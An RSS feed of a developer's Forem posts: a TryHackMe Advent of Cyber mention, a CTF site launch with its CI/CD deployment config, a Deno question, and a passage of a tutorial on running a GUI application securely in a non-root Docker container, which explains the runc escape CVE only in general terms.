<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Ari Kalfus</title>
    <description>The latest articles on Forem by Ari Kalfus (@artis3n).</description>
    <link>https://forem.com/artis3n</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F31225%2F0287802e-d35c-4cb1-853a-d1da64a800ae.jpg</url>
      <title>Forem: Ari Kalfus</title>
      <link>https://forem.com/artis3n</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/artis3n"/>
    <language>en</language>
    <item>
      <title>Learn cyber security: TryHackMe Advent Of Cyber</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Sun, 06 Dec 2020 17:54:21 +0000</pubDate>
      <link>https://forem.com/artis3n/learn-cyber-security-tryhackme-advent-of-cyber-5100</link>
      <guid>https://forem.com/artis3n/learn-cyber-security-tryhackme-advent-of-cyber-5100</guid>
      <description>&lt;p&gt;In the spirit of the advent of code challenges this month, I thought I'd let y'all know about a similar series of exercises: &lt;a href="https://tryhackme.com/"&gt;TryHackMe&lt;/a&gt; is a platform to learn about offensive and defensive security &lt;em&gt;things&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;This month is their second "Advent of Cyber," in which each day they teach you about a new security topic and provide you some free challenges to try them out yourself - they provide a video walkthrough every day as well because the intent is for you to learn. 25 days in total following the month of December.&lt;/p&gt;

&lt;p&gt;Part of my job (unrelated to TryHackMe) involves putting together good application security training resources for our developers, and this year's Advent of Cyber is looking like a really excellent introduction to a lot of cyber topics. On Day 2, you execute a reverse shell. On Day 5, you execute SQL injection. The later days in the schedule look like we'll be hitting packet inspection and reverse engineering.&lt;/p&gt;

&lt;p&gt;Check it out!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://tryhackme.com/christmas"&gt;https://tryhackme.com/christmas&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Find The Cube</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Wed, 25 Nov 2020 01:56:45 +0000</pubDate>
      <link>https://forem.com/artis3n/find-the-cube-3111</link>
      <guid>https://forem.com/artis3n/find-the-cube-3111</guid>
      <description>&lt;p&gt;Can you solve the five challenges in the first set and &lt;a href="https://findthecube.com/"&gt;Find The Cube&lt;/a&gt;?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://findthecube.com/"&gt;https://findthecube.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is my first take at a security capture-the-flag challenge platform. I don't want to talk too much about the challenges to avoid giving things away. You are looking at beginner web and cipher challenges. That's not to say they are easy!&lt;/p&gt;

&lt;p&gt;This is a Nuxt project running in a Docker container - two containers of the image, actually - load balanced behind Nginx. The simpler times of software deployment, before Kubernetes and ECS/EKS. If I get enough traffic to warrant the stupid ALB costs, I'll throw up an ALB and set an auto-scaling group to add and remove servers based on CPU utilization. I put the app, infrastructure, and deployment pipeline together in one week.&lt;/p&gt;

&lt;p&gt;The repository is private but there is a CI/CD no-downtime deployment process. So fancy! I use &lt;a href="https://github.com/aelsabbahy/goss"&gt;goss&lt;/a&gt; to test the built image along with the &lt;a href="https://github.com/docker/build-push-action"&gt;docker/build-push-action&lt;/a&gt;. The end of my &lt;code&gt;ci.yml&lt;/code&gt; GitHub Action workflow looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Cache&lt;/span&gt;
        &lt;span class="s"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/cache@v2&lt;/span&gt;
        &lt;span class="s"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/tmp/.buildx-cache&lt;/span&gt;
          &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ runner.os }}-buildx-${{ github.sha }}&lt;/span&gt;
          &lt;span class="na"&gt;restore-keys&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
            &lt;span class="s"&gt;${{ runner.os }}-buildx-&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Build the Docker image&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker/build-push-action@v2&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;false&lt;/span&gt;
          &lt;span class="na"&gt;tags&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ env.IMAGE_NAME }}:test&lt;/span&gt;
          &lt;span class="na"&gt;load&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;
          &lt;span class="na"&gt;cache-from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;type=local,src=/tmp/.buildx-cache&lt;/span&gt;
          &lt;span class="na"&gt;cache-to&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;type=local,dest=/tmp/.buildx-cache&lt;/span&gt;
          &lt;span class="na"&gt;build-args&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
            &lt;span class="s"&gt;BROWSER_BASE_URL=https://findthecube.com&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Test the image&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;dgoss run ${{ env.IMAGE_NAME }}:test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The deployment is where it gets fun. I use Amazon's &lt;a href="https://github.com/aws-actions/configure-aws-credentials"&gt;aws-actions/configure-aws-credentials&lt;/a&gt; action to configure credentials to my AWS account. I then build a new image and push it to my registry, then use an Systems Manager Run Command (&lt;code&gt;aws ssm send-command&lt;/code&gt;) to stop the containers, pull the new image, and restart the containers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Configure AWS Credentials&lt;/span&gt;
  &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;aws-actions/configure-aws-credentials@v1&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;aws-access-key-id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.AWS_ACCESS_KEY_ID }}&lt;/span&gt;
    &lt;span class="na"&gt;aws-secret-access-key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.AWS_SECRET_ACCESS_KEY }}&lt;/span&gt;
    &lt;span class="na"&gt;aws-region&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;us-east-1&lt;/span&gt;

&lt;span class="s"&gt;// ...&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Update Server Deployment&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;instanceid=$(aws ec2 describe-instances --filters 'Name=tag:Name,Values=TheCube' --query 'Reservations[*].Instances[*].InstanceId' --output text)&lt;/span&gt;
    &lt;span class="s"&gt;aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=InstanceIds,Values=${instanceid}" --cli-input-json file://__scripts/updateDockerImageDeployment.json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/__scripts/updateDockerImageDeployment.json&lt;/code&gt; file is the bit of JSON which is the bash script to run on the servers targeted in my &lt;code&gt;aws ssm&lt;/code&gt; call.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Parameters"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"commands"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"#!/bin/bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"set -eu"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker pull .../artis3n/thecube:latest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker stop thecube1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker rm thecube1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker run --name thecube1 -d --restart unless-stopped -p 3000:3000 .../artis3n/thecube:latest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker stop thecube2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker rm thecube2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker run --name thecube2 -d --restart unless-stopped -p 3001:3000 .../artis3n/thecube:latest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"docker image prune -f"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes it super easy to push updates to the server. I publish a new release on GitHub, a new deployment is triggered, updates are pushed to the server, bam a couple minutes after the release the new version is live.&lt;/p&gt;

&lt;p&gt;Good luck! Find the cube.&lt;/p&gt;

&lt;p&gt;Be gentle on the last challenge, it is on a lone t2.medium server! If it gets too busy I'll set up an auto-scaling group.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>showdev</category>
    </item>
    <item>
      <title>How is Deno Doing? (Nov 2020)</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Mon, 09 Nov 2020 03:15:08 +0000</pubDate>
      <link>https://forem.com/artis3n/how-is-deno-doing-nov-2020-3m4n</link>
      <guid>https://forem.com/artis3n/how-is-deno-doing-nov-2020-3m4n</guid>
      <description>&lt;p&gt;How is Deno maturing? Are folks using it? How do they like it vs. traditional Node (server) development? How do you feel the framework and library ecosystems are coming along?&lt;/p&gt;

</description>
      <category>node</category>
      <category>javascript</category>
      <category>deno</category>
    </item>
    <item>
      <title>Running a Graphical Application from a Docker Container - Simply and Securely</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Mon, 14 Sep 2020 03:30:31 +0000</pubDate>
      <link>https://forem.com/artis3n/running-a-graphical-application-from-a-docker-container-simply-and-securely-2m2b</link>
      <guid>https://forem.com/artis3n/running-a-graphical-application-from-a-docker-container-simply-and-securely-2m2b</guid>
      <description>&lt;p&gt;Running a graphical application via a Docker container sounds awesome. Take the relatively larger complexity of a graphical app, encapsulate all of the brittle graphical compilation requirements, and serve a consistent experience regardless of your users' actual hardware. The epitome of the greatness that is containerized applications.&lt;/p&gt;

&lt;p&gt;However, I have not seen great recommendations online on how to do this. I have seen many examples of GUI Docker images requiring &lt;code&gt;--privileged&lt;/code&gt; or other capabilities to be passed to the container, have seen weird graphical hacks such as running a VNC or SSH server inside the container and exposing the application through that, or running the application inside the container as &lt;code&gt;root&lt;/code&gt;. We can do better!&lt;/p&gt;

&lt;p&gt;I will show you how to configure your graphical Docker image securely using my &lt;a href="https://www.pgmodeler.io/"&gt;PgModeler&lt;/a&gt; image as an example: &lt;a href="https://github.com/artis3n/pgmodeler-container"&gt;https://github.com/artis3n/pgmodeler-container&lt;/a&gt;. Understanding how to secure a Docker container requires understanding the underlying Linux behaviors taking place so we will discuss them in-depth. However, the result is a handful of extra lines to your Dockerfile and two volumes passed during &lt;code&gt;docker run&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you are just here for the Docker command, here it is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;XAUTHORITY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;xauth info | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Authority file"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{ print $3 }'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;--cap-drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;all &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; DISPLAY &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; /tmp/.X11-unix:/tmp/.X11-unix:ro &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nv"&gt;$XAUTHORITY&lt;/span&gt;:/home/modeler/.Xauthority:ro &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; /persistent/local/directory/for/project:/app/savedwork &lt;span class="se"&gt;\&lt;/span&gt;
    ghcr.io/artis3n/pgmodeler:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rest of the article will explain everything happening in this simple, secure command.&lt;/p&gt;

&lt;p&gt;PgModeler is a tool to visually develop and maintain PostgreSQL schemas. It is a &lt;a href="https://www.qt.io/"&gt;QT&lt;/a&gt;-based application with &lt;a href="https://pgmodeler.io/support/installation"&gt;relatively involved compilation instructions&lt;/a&gt; if you are building from source. PgModeler has a GPL-3.0 license and allows you to compile it from source for free; pre-compiled binaries are available for a modest fee. I have not contributed to the PgModeler project, but I did create this Docker container to easily use it.&lt;/p&gt;

&lt;p&gt;My goals for this container are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Non-privileged user

&lt;ul&gt;
&lt;li&gt;PGModeler will run as the &lt;code&gt;modeler&lt;/code&gt; user, which does not have sudo privileges inside the container.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;No host capabilities granted

&lt;ul&gt;
&lt;li&gt;We must grant access to our host's X server to draw an application on the screen. For this bullet, I am looking at the Linux kernel &lt;a href="https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities"&gt;capabilities&lt;/a&gt; and enforcing that none are used.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Simple to use

&lt;ul&gt;
&lt;li&gt;It should take 1-2 minutes (including &lt;code&gt;docker pull&lt;/code&gt; time) for an end-user to get started with this container. No complicated file modifications or terminal configuration.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Why care about a non-privileged user inside a container?
&lt;/h1&gt;

&lt;p&gt;There is an argument to make that using a non-root user inside a Docker container is not required. &lt;a href="https://docs.docker.com/engine/security/security/#linux-kernel-capabilities"&gt;Docker documents&lt;/a&gt; the limited functionality of the root user (by which I mean &lt;code&gt;uid=0&lt;/code&gt;) inside a container.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“root” within a container has much less privileges than the real “root”...&lt;br&gt;
This doesn’t affect regular web apps, but reduces the vectors of attack by malicious users considerably.&lt;br&gt;
By default Docker drops all capabilities except those needed, an allowlist instead of a denylist approach.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;small&gt;- &lt;a href="https://docs.docker.com/engine/security/security/"&gt;&lt;/a&gt;&lt;a href="https://docs.docker.com/engine/security/security/"&gt;https://docs.docker.com/engine/security/security/&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The argument in favor of just using &lt;code&gt;root&lt;/code&gt; inside the container - which is the default - is that user &lt;code&gt;uid=0&lt;/code&gt; is already pretty limited inside the container. Only by misconfiguring the kernel capabilities granted to the container can you cause a security issue when running as root inside the container.&lt;/p&gt;

&lt;p&gt;I disagree with the idea that project maintainers do not need to concern themselves with the possibility of end-user misconfiguration, especially with a technically complex topic like containerization. To be clear, I hear this argument from people discussing Docker, not from Docker's official documentation or representatives. However, I do not find the argument "it is only a problem if you misconfigure it, now here are a bunch of choices make sure you don't pick the wrong ones" persuasive. Similar to technical experts' complaints against JWTs and PGP - if the &lt;em&gt;standard&lt;/em&gt; allows for common implementation errors, the fault lies with the standard, not with the individual implementations. Additionally, running as &lt;code&gt;uid=0&lt;/code&gt; inside a container still leaves you vulnerable to kernel &lt;a href="https://cve.mitre.org/"&gt;CVEs&lt;/a&gt; or other novel container escapes. This is not necessarily something you need to concern yourself with on a personal project, but it is quite important in enterprise production and should be treated as a best practice for personal containers as well.&lt;/p&gt;

&lt;p&gt;If you are running as &lt;code&gt;uid=0&lt;/code&gt; inside the container &lt;em&gt;and grant some level of access to the host&lt;/em&gt;, you are &lt;code&gt;uid=0&lt;/code&gt; to the host as well. What this means depends on the exact configuration. You may misconfigure a Docker component - unless your code never produces bugs, in which case I want to give you a Captcha check. The misconfiguration may be as tame as passing in a volume that you didn't intend to passing a kernel capability or, please say it isn't so, passing the Docker socket from the host into the container. These may allow a process to break out of the Docker container.&lt;/p&gt;

&lt;p&gt;But even if you don't misconfigure a container, running as &lt;code&gt;uid=0&lt;/code&gt; inside the container may still leave you vulnerable. One of the most famous recent Docker exploits is &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2019-5736"&gt;CVE-2019-5736&lt;/a&gt;, a container escape leveraging &lt;code&gt;runc&lt;/code&gt;. The exploit is well explained by Palo Alto Network's Unit 42 &lt;a href="https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/"&gt;here&lt;/a&gt;. RunC is a container runtime originally developed as part of Docker and later extracted out as a separate open-source tool and library.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;High level” container runtimes like Docker will normally implement functionalities such as image creation and management and will use runC to handle tasks related to running containers – creating a container, attaching a process to an existing container (docker exec) and so on.&lt;/p&gt;

&lt;p&gt;An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it.&lt;br&gt;
Root access in the container is required to perform this attack as the runC binary is owned by root.&lt;br&gt;
The next time runC is executed, the attacker will achieve code execution on the host.&lt;br&gt;
Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, without doing anything wrong, if your container's user ran as &lt;code&gt;uid=0&lt;/code&gt;, you would be vulnerable and a process could break out of the container. If you were a non-root user, the CVE could not have been exploited. For a development or personal project, these things are perhaps not something you need to care about. You are generally running your own code inside your container on a personal host. However, I think it is important to understand the reasoning here. Especially for production or externally-accessible resources, your containerized code should be running as a non-root process. I recommend always doing it because it isn't much additional effort. It does require you to understand what you want your container to be doing because you must explicitly grant your non-root user read/write access to the appropriate files in the container. I consider that a side benefit of this process - a better understanding of your code.&lt;/p&gt;

&lt;h1&gt;
  
  
  Configuring a non-privileged user
&lt;/h1&gt;

&lt;p&gt;The requirements to set up a non-privileged user are highly dependent on what you need the user to do inside your container. In my case, I need my &lt;code&gt;modeler&lt;/code&gt; user to be able to run PgModeler. The PgModeler source code will be copied to &lt;code&gt;/pgmodeler&lt;/code&gt; and I will compile it to &lt;code&gt;/app&lt;/code&gt;. Thus, &lt;code&gt;modeler&lt;/code&gt; just needs to own the &lt;code&gt;/app&lt;/code&gt; directory to run PgModeler. In fact I leverage a multi-stage build to reduce the image bloat and only copy in the &lt;code&gt;/app&lt;/code&gt; directory after compiling it in the intermediate layer.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;USER&lt;/code&gt; Dockerfile command will set the username (or UID / GID) for any subsequent &lt;code&gt;RUN&lt;/code&gt;, &lt;code&gt;CMD&lt;/code&gt;, or &lt;code&gt;ENTRYPOINT&lt;/code&gt; instructions. So my steps are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;As root, copy the PgModeler source code onto the container&lt;/li&gt;
&lt;li&gt;Create the &lt;code&gt;modeler&lt;/code&gt; user&lt;/li&gt;
&lt;li&gt;Compile PgModeler and ensure &lt;code&gt;modeler&lt;/code&gt; has permissions on the &lt;code&gt;/app&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;Assume &lt;code&gt;modeler&lt;/code&gt; user with &lt;code&gt;USER&lt;/code&gt; before the &lt;code&gt;ENTRYPOINT&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I copy over the source code from two &lt;a href="https://git-scm.com/book/en/v2/Git-Tools-Submodules"&gt;submodules&lt;/a&gt; in my repo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./pgmodeler /pgmodeler&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./plugins /pgmodeler/plugins&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I compile the application in one &lt;code&gt;RUN&lt;/code&gt; command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /pgmodeler&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; /app &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;mkdir&lt;/span&gt; /app/savedwork &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$QMAKE_PATH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-version&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; pkg-config libpq &lt;span class="nt"&gt;--cflags&lt;/span&gt; &lt;span class="nt"&gt;--libs&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$QMAKE_PATH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; CONFIG+&lt;span class="o"&gt;=&lt;/span&gt;release &lt;span class="se"&gt;\
&lt;/span&gt;        &lt;span class="nv"&gt;PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$INSTALLATION_ROOT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;        &lt;span class="nv"&gt;BINDIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$INSTALLATION_ROOT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;        &lt;span class="nv"&gt;PRIVATEBINDIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$INSTALLATION_ROOT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;        &lt;span class="nv"&gt;PRIVATELIBDIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$INSTALLATION_ROOT&lt;/span&gt;&lt;span class="s2"&gt;/lib"&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;        pgmodeler.pro &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; make &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; make &lt;span class="nb"&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now in the next stage of the build, I copy the &lt;code&gt;/app&lt;/code&gt; directory and create a non-root &lt;code&gt;modeler&lt;/code&gt; user. I grant that user permissions on the &lt;code&gt;/app&lt;/code&gt; directory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=compiler /app /app&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;groupadd &lt;span class="nt"&gt;-g&lt;/span&gt; 1000 modeler &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; useradd &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 1000 &lt;span class="nt"&gt;-g&lt;/span&gt; modeler modeler &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; modeler:modeler /app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, I set my image to assume the &lt;code&gt;modeler&lt;/code&gt; user for the &lt;code&gt;ENTRYPOINT&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; modeler&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;

&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; QT_X11_NO_MITSHM=1&lt;/span&gt;
&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; QT_GRAPHICSSYSTEM=native&lt;/span&gt;

